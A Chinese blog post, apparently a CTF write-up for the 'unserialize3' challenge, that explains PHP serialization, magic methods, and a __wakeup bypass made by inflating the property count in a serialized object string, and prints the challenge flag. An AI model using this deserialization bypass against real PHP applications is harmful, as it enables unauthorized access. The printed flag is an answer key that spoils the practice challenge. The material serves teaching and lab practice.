IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 从unserialize3中学习序列化和反序列化 -> 正文阅读

[PHP知识库]从unserialize3中学习序列化和反序列化

今天刷到这一题正好学习一下序列化和反序列化

一、什么是序列化和反序列化呢?

首先我们来想一下序列化到底好在哪里呢?为什么要用序列化?php序列化到底好在哪里?

首先我们可以知道这种方式肯定是为了传输数据的方便,你可以这样去理解,这样做就相当于你将一个实例化对象长久的储存在了计算机的磁盘上,无论什么时候调用你都可以把它恢复成原来的样子。这样做实际上是为了解决这个问题:因为当PHP文件在执行结束之后就会销毁这个对象,那么如果接下来恰好你又需要调用这个对象,那肯定是不方便的,而且你也不能一直让这个对象存在着等你吧,这种方式就是将PHP序列化一下(序列化后对象已经被转换成了可以传输的字符串),等到需要使用的时候就反序列化一下(字符串经过反序列化又被转换成了对象),这样在PHP执行完成以后你还可以调用这个对象。

序列化的意思就是将对象转换成可以传输的字符串

反序列化就是将可以传输的字符串转换成对象

我们拿这一道题来举个简单的例子

首先是PHP序列化将对象转换成字符串

<?php

class ctf
{

        var $a = '123';

}

$class1 = new ctf;    //这里就是创建一个新的对象

$class2 = serialize($class1);   //将这个对象进行字符串封装,就是对其进行序列化

print_r($class2);

?>

将其放到PHP中执行一下得到:

O:3:"ctf":1:{s:1:"a";s:3:"123";}

下面我们来解释一下上面这串代码的意思:

O:3:"ctf":1:{s:1:"a";s:3:"123";}

O就是object对象的意思

3表示对象的函数名有3个占位

ctf就是对象名

1表示对象里面还有一个变量

s表示字符串

大括号里面的1表示的是变量名的占位

后面就是变量名的值

3表示变量值的占位

接下来我们看看反序列化

<?php

class ctf
{

        var $a = '123';

}

$class1 = new ctf;  
$class2 = serialize($class1);
$class3=unserialize($class2); 

print_r($class3);

?>

?这就是反序列化输出

?二、那么什么时候会用到序列化和反序列化呢

这里介绍几个魔法函数,通常不需要我们手动调用,一般魔法函数是以__开头的,再碰到这几个魔法函数时就好好好想想能不能利用序列化与反序列化漏洞了:

__constuct() ? ?在创建对象是自动调用

__destuct() ?相当于c++中的析构最后会将对象销毁,所以在对象销毁时 被调用

__toString() ? ?但一个对象被当成字符串使用时被调用

__sleep() ? 当对象被序列化之前使用

__wakeup() ?将在被序列化后立即被调用 ?//咱们这道题就是利用的这个来利用序列化的

再回来看这道题

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

这里还要说一下serialize和unserialize

? ?serialize()函数会检查类中是否存在一个魔术方法__sleep() ?这里想没想到就是上面讲的这个函数是在序列化之前被调用的所以在序列化之前要检验有没有这个魔法函数。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。

? ?unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源

这里是_wakeup,很明显是反序列化漏洞

那我们再来了解一下_wakeup执行漏洞,一个字符串或者对象被序列化之后,如果属性值被修改,那么_wakeup函数就不会被执行了,所以我们可以利用这一点进行绕过

我们把题目这串代码执行出来试试:(需要做一下小小的修改)

<?php

class xctf
{
public $flag = '111';
}
$test1=new xctf;
$test2=serialize($test1);
print($test2);

?>

然后得到:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

?我们将这一串序列化后的值得属性改一下

O:4:"xctf":3:{s:4:"flag";s:3:"111";}

这是因为我们更改函数的属性值以后,题目代码反序列化失败然后_wakeup函数就失效了

然后到题目中传参:

成功得到flag

cyberpeace{d523d340982d31b2e2eccc8f63462ff1}

?我建议小伙伴们可以在本地搭建环境尝试执行一下序列化和反序列化的代码,相信你一定会对这题有更深的理解

下面附上一篇大佬的文章

CTF-WEB:PHP 反序列化 - 乌漆WhiteMoon - 博客园

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-22 20:20:15  更:2022-02-22 20:20:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 11:06:01-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码